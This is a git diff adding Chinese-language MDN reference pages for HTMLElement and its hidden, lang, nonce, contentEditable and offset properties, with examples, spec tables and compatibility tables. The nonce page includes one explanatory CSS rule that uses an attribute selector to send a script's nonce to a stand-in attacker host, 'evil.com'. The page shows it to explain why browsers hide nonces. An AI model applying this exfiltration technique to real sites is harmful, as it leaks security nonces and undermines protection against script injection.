+ +

This code sets up a handler for the welcome panel's "OK" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.

+ +

HTML

+ +

The HTML for the two boxes are shown here.

+ +

The welcome panel

+ +
<div id="welcome" class="panel">
+  <h1>Welcome to Foobar.com!</h1>
+  <p>By clicking "OK" you agree to be awesome every day!</p>
+  <button class="button" id="okButton">OK</button>
+</div>
+ +

This HTML creates a panel (in a {{HTMLElement("div")}} block) that welcomes the user to a site and tells them what they're agreeing to by clicking the OK button.

+ +

The follow-up panel

+ +

Once the user clicks the "OK" button in the welcome panel, the JavaScript code swaps the two panels by changing their respective values for hidden. The follow-up panel looks like this in HTML:

+ +
<div id="awesome" class="panel" hidden>
+  <h1>Thanks!</h1>
+  <p>Thank you <strong>so</strong> much for agreeing to be
+  awesome today! Now get out there and do awesome things
+  awesomely to make the world more awesome!</p>
+</div>
+ +

CSS

+ +

The content is styled using the CSS below.

+ +
.panel {
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border: 1px solid #22d;
+  padding: 12px;
+  width: 500px;
+  text-align: center;
+}
+
+.button {
+  font: 22px "Open Sans", Helvetica, Arial, sans-serif;
+  padding: 5px 36px;
+}
+
+h1 {
+  margin-top: 0;
+  font-size: 175%;
+}
+ +

Result

+ +

{{ EmbedLiveSample('Example', 560, 200) }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/index.html b/files/zh-cn/web/api/htmlelement/index.html new file mode 100644 index 0000000000..3566048a05 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/index.html @@ -0,0 +1,502 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +translation_of: Web/API/HTMLElement +--- +
{{APIRef}}
+ +

HTMLElement 接口表示所有的 HTML 元素。一些HTML元素直接实现了HTMLElement接口，其它的间接实现HTMLElement接口.

+ +

属性

+ +

继承自父接口{{domxref("Element")}}和 {{domxref("GlobalEventHandlers")}}的属性  

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性名称属性类型Description
{{domxref("HTMLElement.accessKey")}}{{domxref("DOMString")}}获取/设置元素访问的快捷键
{{domxref("HTMLElement.accessKeyLabel")}}{{domxref("DOMString")}}返回一个包含元素访问的快捷键的字符串（只读）
{{domxref("HTMLElement.contentEditable")}}{{domxref("DOMString")}}获取/设置元素的可编辑状态
{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}{{domxref("Boolean")}}表明元素的内容是否可编辑（只读）
{{domxref("HTMLElement.contextMenu")}}{{domxref("HTMLMenuElement")}}设置/获取元素的右键菜单
{{domxref("HTMLElement.dataset")}} {{readonlyInline}}{{domxref("DOMStringMap")}} +

获取元素的自定义属性，是一个对象（key-value，只读）

+
{{domxref("HTMLElement.dir")}}{{domxref("DOMString")}} +

获取/设置元素的方向，可选的值有：ltr，rtl，auto

+
{{domxref("HTMLElement.draggable")}}{{domxref("Boolean")}}设置/获取元素是否可以拖拽
{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.hidden")}}{{domxref("Boolean")}}获取/设置元素是否隐藏
{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}{{domxref("Boolean")}} 
{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.itemId")}} {{experimental_inline}}{{domxref("DOMString")}} 
{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}{{domxref("object")}} 
{{domxref("HTMLElement.lang")}}{{domxref("DOMString")}}获取/设置元素属性、文本、内容的语言
{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}double元素自身可视高度加上上下border的宽度
{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}double元素自己border左边距离父元素border左边或者body元素border左边的距离
{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{domxref("Element")}}元素的父元素，如果没有就是body元素
{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}double元素自己border顶部距离父元素顶部或者body元素border顶部的距离
{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}double元素自身可视宽度加上左右border的宽度
{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}{{domxref("HTMLPropertiesCollection")}} 
{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}{{domxref("Boolean")}} 
{{domxref("HTMLElement.style")}}{{domxref("CSSStyleDeclaration")}}获取/设置元素的style属性
{{domxref("HTMLElement.tabIndex")}}long获取/设置元素的tab键控制次序
{{domxref("HTMLElement.title")}}{{domxref("DOMString")}}获取/设置元素的title属性
{{domxref("HTMLElement.translate")}} {{domxref("Boolean")}}获取/设置元素是否可以被翻译
+ +

Event handlers

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("GlobalEventHandlers")}}, implemented by HTMLElement. A few more are specific to HTMLElement.

+ +
+
{{domxref("HTMLElement.onTouchStart")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchstart")}} event.
+
{{domxref("HTMLElement.onTouchEnd")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchend")}} event.
+
{{domxref("HTMLElement.onTouchMove")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchmove")}} event.
+
{{domxref("HTMLElement.onTouchEnter")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchenter")}} event.
+
{{domxref("HTMLElement.onTouchLeave")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchleave")}} event.
+
{{domxref("HTMLElement.onTouchCancel")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchcancel")}} event.
+
+ +

方法

+ +

从父元素继承的方法, {{domxref("Element")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name & ArgumentsReturnDescription
{{domxref("HTMLElement.blur()")}}void元素失去焦点
{{domxref("HTMLElement.click()")}}void触发元素的点击事件
{{domxref("HTMLElement.focus()")}}void元素获得焦点
{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}void 
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}{{Spec2('CSSOM View')}} +

添加如下属性：

+ +

offsetParent，offsetTop，offsetLeft，offsetWidth，offsetHeight

+
{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML WHATWG')}} +

添加如下属性:

+ +

translate，itemScope，itemType，itemId，itemRef，itemProp，properties，itemValue。

+ +

添加如下方法：
+ forceSpellcheck()，

+ +

将 onXYZ 属性移动到了{{domxref("GlobalEventHandlers")}}接口上并从该接口继承了该属性

+
{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML5 W3C')}} +

添加了如下属性:

+ +

dataset, hidden, tabindex, accessKey, accessKeyLabel, draggable, dropzone, contentEditable, isContentEditable, contextMenu, spellcheck, commandType, commandLabel, commandIcon, commandHidden, commandDisabled, commandChecked, style，和所有的 onXYZ属性

+ +

移动id和classname属性到{{domxref("Element")}}接口上

+
{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM2 HTML')}}在 {{SpecName('DOM2 HTML')}}基础上没有任何改变
{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM1')}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性Firefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.accessKey", "accessKey")}}{{CompatGeckoDesktop("5.0")}}17.0{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}(535.10)
{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}{{CompatGeckoDesktop("8.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{WebkitBug(72715)}}
{{domxref("HTMLElement.blur()", "blur()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.click()", "click()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}(535.24)
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoDesktop("6.0")}}9.0{{CompatUnknown}}11.105.1
{{domxref("HTMLElement.focus()", "focus()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.contentEditable", "contentEditable")}}{{CompatGeckoDesktop("1.9")}}{{CompatVersionUnknown}}5.59{{CompatVersionUnknown}}
{{domxref("HTMLElement.spellcheck", "spellcheck")}}{{CompatGeckoDesktop("1.8.1")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoDesktop("6.0")}}8.01111.106
{{domxref("HTMLElement.draggable", "draggable")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}12.0{{CompatUnknown}}
{{domxref("HTMLElement.dropzone", "dropzone")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}12.0{{CompatNo}}
{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatNo}}11.60
+ (Removed in Opera 15)		{{CompatNo}}
{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support +

{{CompatGeckoMobile("1.0")}}

+ 		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.accessKey", "accessKey")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}{{CompatGeckoMobile("8.0")}}
{{domxref("HTMLElement.blur()", "blur()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.click()", "click()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoMobile("6.0")}}
{{domxref("HTMLElement.focus()", "focus()")}}{{CompatGeckoMobile("5.0")}}
+
+ +

 

+ +

还可以查看以下内容：

+ + diff --git a/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html b/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html new file mode 100644 index 0000000000..e5ccd8ee7e --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html @@ -0,0 +1,107 @@ +--- +title: HTMLElement.isContentEditable +slug: Web/API/HTMLElement/isContentEditable +translation_of: Web/API/HTMLElement/isContentEditable +--- +
+
+
{{ APIRef("HTML DOM") }}
+
+
+ +

概述

+ +

 HTMLElement.isContentEditable 只读属性返回一个{{jsxref("Boolean", "布尔值")}}：如果当前元素的内容为可编辑状态，则返回 true，否则返回 false。

+ +

语法

+ +
editable = element.isContentEditable
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范版本规范状态备注
{{SpecName('HTML WHATWG', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

相关链接

+ + + +

 

diff --git a/files/zh-cn/web/api/htmlelement/lang/index.html b/files/zh-cn/web/api/htmlelement/lang/index.html new file mode 100644 index 0000000000..0f7e4f330f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/lang/index.html @@ -0,0 +1,40 @@ +--- +title: HTMLElement.lang +slug: Web/API/HTMLElement/lang +translation_of: Web/API/HTMLElement/lang +--- +

{{ APIRef() }}

+

HTMLElement.lang 属性用来获取或设置元素属性值或文本内容的基语言（base language）。

+

该属性返回的语言代码（language code） 被定义在 RFC 1766。通常，"en" 表示英语（English）、"ja" 表示（Japanese）、"zh-cn" 表示简体中文等等。该属性的默认值未知（unknown）。尽管该属性可以应用在单独的元素上，但是通常在文档的根元素（html）上指定。

+

该属性只对 lang 属性（attribute）有效，不适用于 xml:lang。

+

语法

+
var languageUsed = elementNodeReference.lang; // 获取lang值
+elementNodeReference.lang = NewLanguage; // 为lang设置新值
+
+

languageUsed 是一个字符串变量，可以获取当前元素的文本是用什么语言写的。NewLanguage 是一个字符串变量，其值用来作为当前元素的文本的语言。

+

示例

+
// 该代码比较了基语言（base language），然后
+// 重定向到了基于该语言的url
+if (document.documentElement.lang === "en") {
+  window.location.href = "Some_document.html.en";
+} else if (document.documentElement.lang === "ru") {
+  window.location.href = "Some_document.html.ru";
+}
+

规范

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'id')}}{{Spec2('DOM2 HTML')}} 
+

 

diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前，并不是所有的浏览器都支持 nonce IDL属性，因此在实际应用场景中，尝试使用getAttribute 作为备选：

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而，最新的浏览器版本都隐藏了 nonce 值（返回一个空值）。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/web/api/htmlelement/offsetheight/index.html b/files/zh-cn/web/api/htmlelement/offsetheight/index.html new file mode 100644 index 0000000000..0f852a4689 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetheight/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.offsetHeight +slug: Web/API/HTMLElement/offsetHeight +tags: + - API + - CSSOM View + - NeedsMarkupWork + - NeedsNonDHMLImage + - Property + - Reference + - 属性 +translation_of: Web/API/HTMLElement/offsetHeight +--- +
{{ APIRef("HTML DOM") }}
+ +

 HTMLElement.offsetHeight 是一个只读属性，它返回该元素的像素高度，高度包含该元素的垂直内边距和边框，且是一个整数。

+ +

通常，元素的offsetHeight是一种元素CSS高度的衡量标准，包括元素的边框、内边距和元素的水平滚动条（如果存在且渲染的话），不包含:before或:after等伪类元素的高度。

+ +

对于文档的body对象，它包括代替元素的CSS高度线性总含量高。浮动元素的向下延伸内容高度是被忽略的。 

+ +

如果元素被隐藏（例如 元素或者元素的祖先之一的元素的style.display被设置为none），则返回0

+ +
+

这个属性值会被四舍五入为整数值，如果你需要一个浮点数值，请用 {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

语法

+ +
var intElemOffsetHeight = document.getElementById(id_attribute_value).offsetHeight;
+
+ +

intElemOffsetHeight是一个变量存储对应元素的offsetHeight像素的整数值。offsetHeight属性是只读的。

+ +

示例

+ +

Image:Dimensions-offset.png

+ +

上面的图片中显示了scollbar和窗口高度的offsetHeight.但是不能滚动的元素可能会有一个很大的高度值，大于可以看见的内容。这些元素原则上是被包含在滚动元素之中的。所以，这些不能滚动的元素可能会因为scrollTop的值会被完全隐藏或者部分隐藏；

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}{{Spec2('CSSOM View')}}
+ +

备注

+ +

offsetHeight 是一个DOM属性，由MSIE首次提出。它有时被称为一个元素的物理/图形的尺寸，或是一个元素的边界框（border-box）的高度。

+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.offsetHeight")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/offsetleft/index.html b/files/zh-cn/web/api/htmlelement/offsetleft/index.html new file mode 100644 index 0000000000..917e5e1797 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetleft/index.html @@ -0,0 +1,148 @@ +--- +title: HTMLElement.offsetLeft +slug: Web/API/HTMLElement/offsetLeft +tags: + - API + - CSSOM + - 参考 + - 只读 + - 属性 +translation_of: Web/API/HTMLElement/offsetLeft +--- +
{{ APIRef("HTML DOM") }}
+ +

 HTMLElement.offsetLeft 是一个只读属性，返回当前元素左上角相对于  {{domxref("HTMLElement.offsetParent")}} 节点的左边界偏移的像素值。

+ +

对块级元素来说，offsetTop、offsetLeft、offsetWidth 及 offsetHeight 描述了元素相对于 offsetParent 的边界框。

+ +

然而，对于可被截断到下一行的行内元素（如 span），offsetTop 和 offsetLeft 描述的是第一个边界框的位置（使用 {{domxref("Element.getClientRects()")}} 来获取其宽度和高度），而 offsetWidth 和 offsetHeight 描述的是边界框的尺寸（使用 {{domxref("Element.getBoundingClientRect")}} 来获取其位置）。因此，使用 offsetLeft、offsetTop、offsetWidth、offsetHeight 来对应 left、top、width 和 height 的一个盒子将不会是文本容器 span 的盒子边界。

+ +

语法

+ +
left = element.offsetLeft;
+
+ +

left 是一个整数，表示向左偏移的像素值。

+ +

示例

+ +
var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft > 5) {
+  // large left offset: do something here
+}
+
+ +

这个例子展示了蓝色边框的 div 包含一个长的句子，红色的盒子是一个可以表示包含这个长句子的span标签的边界。

+ +

Image:offsetLeft.jpg

+ +
<div style="width: 300px; border-color:blue;
+  border-style:solid; border-width:1;">
+  <span>Short span. </span>
+  <span id="long">Long span that wraps withing this div.</span>
+</div>
+
+<div id="box" style="position: absolute; border-color: red;
+  border-width: 1; border-style: solid; z-index: 10">
+</div>
+
+<script>
+  var box = document.getElementById("box");
+  var long = document.getElementById("long");
+  //
+  // long.offsetLeft这个值就是span的offsetLeft.
+  // long.offsetParent 返回的是body（在chrome浏览器中测试）
+  // 如果id为long的span元素的父元素div，设置了position属性值，只要不为static,那么long.offsetParent就是div
+
+  box.style.left = long.offsetLeft + document.body.scrollLeft + "px";
+  box.style.top = long.offsetTop + document.body.scrollTop + "px";
+  box.style.width = long.offsetWidth + "px";
+  box.style.height = long.offsetHeight + "px";
+</script>
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}{{Spec2('CSSOM View')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

根据规范，如果元素被隐藏（此元素的 style.display 或任何祖先为“none”），或者如果元素本身的 style.position 设置为“fixed”，则此属性将在Webkit上返回null 。

+ +

在 Internet Explorer (9) 上如果元素的 style.position 是 "fixed"，则该属性为 null (样式 display:none 不会影响。)

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/offsetparent/index.html b/files/zh-cn/web/api/htmlelement/offsetparent/index.html new file mode 100644 index 0000000000..4592a236ef --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetparent/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLElement.offsetParent +slug: Web/API/HTMLElement/offsetParent +translation_of: Web/API/HTMLElement/offsetParent +--- +
{{APIRef}}
+ +

HTMLElement.offsetParent 是一个只读属性，返回一个指向最近的（指包含层级上的最近）包含该元素的定位元素或者最近的 table,td,th,body元素。当元素的 style.display 设置为 "none" 时，offsetParent 返回 null。offsetParent 很有用，因为 {{domxref("HTMLElement.offsetTop","offsetTop")}} 和 {{domxref("HTMLElement.offsetLeft","offsetLeft")}} 都是相对于其内边距边界的。

+ +

语法

+ +
parentObj = element.offsetParent;
+
+ + + +

浏览器兼容性

+ +

在 Webkit 中，如果元素为隐藏的（该元素或其祖先元素的 style.display 为 "none"），或者该元素的 style.position 被设为 "fixed"，则该属性返回 null。

+ +

在 IE 9 中，如果该元素的 style.position 被设置为 "fixed"，则该属性返回 null。（display:none 无影响。）

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}{{Spec2('CSSOM View')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.offsetParent")}}

diff --git a/files/zh-cn/web/api/htmlelement/offsettop/index.html b/files/zh-cn/web/api/htmlelement/offsettop/index.html new file mode 100644 index 0000000000..449bfa2f68 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsettop/index.html @@ -0,0 +1,57 @@ +--- +title: HTMLElement.offsetTop +slug: Web/API/HTMLElement/offsetTop +translation_of: Web/API/HTMLElement/offsetTop +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.offsetTop 为只读属性，它返回当前元素相对于其 {{domxref("HTMLElement.offsetParent","offsetParent")}} 元素的顶部内边距的距离。

+ +

语法

+ +
topPos = element.offsetTop;
+
+ +

参数

+ + + +

示例

+ +
var d = document.getElementById("div1");
+var topPos = d.offsetTop;
+
+if (topPos > 10) {
+  // div1 距离它的 offsetParent 元素的顶部的距离大于 10 px
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
规范名称规范状态备注
{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}{{Spec2('CSSOM View')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.offsetTop")}}

+ +

In compliance with the specification, this property will return null on Webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed".

+ +

This property will return null on Internet Explorer (9) if the style.position of the element itself is set to "fixed". (Having display:none does not affect this browser.)

diff --git a/files/zh-cn/web/api/htmlelement/offsetwidth/index.html b/files/zh-cn/web/api/htmlelement/offsetwidth/index.html new file mode 100644 index 0000000000..7fbcfb5266 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetwidth/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.offsetWidth +slug: Web/API/HTMLElement/offsetWidth +tags: + - API + - 参考 + - 只读属性 + - 属性 +translation_of: Web/API/HTMLElement/offsetWidth +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.offsetWidth 是一个只读属性，返回一个元素的布局宽度。一个典型的（译者注：各浏览器的offsetWidth可能有所不同）offsetWidth是测量包含元素的边框(border)、水平线上的内边距(padding)、竖直方向滚动条(scrollbar)（如果存在的话）、以及CSS设置的宽度(width)的值。

+ +

语法

+ +
var offsetWidth =element.offsetWidth;
+
+ +

intElemOffsetWidth is a variable storing an integer corresponding to the offsetWidth pixel value of the element. offsetWidth 是一个只读属性。

+ +
+

这个属性将会 round(四舍五入)为一个整数。如果你想要一个fractional(小数)值,请使用{{ domxref("element.getBoundingClientRect()") }}.

+
+ +

示例

+ +

Image:Dimensions-offset.png

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}{{Spec2('CSSOM View')}}
+ +

备注

+ +

offsetWidth 是一个 DHTML 对象模型中的属性，由微软 IE 浏览器首次引入。有时候它也可以称为一个元素的物理或图形尺寸，或者 border-box（译者注：即 CSS3中的 border-box 模型）的宽度。

+ +

参见

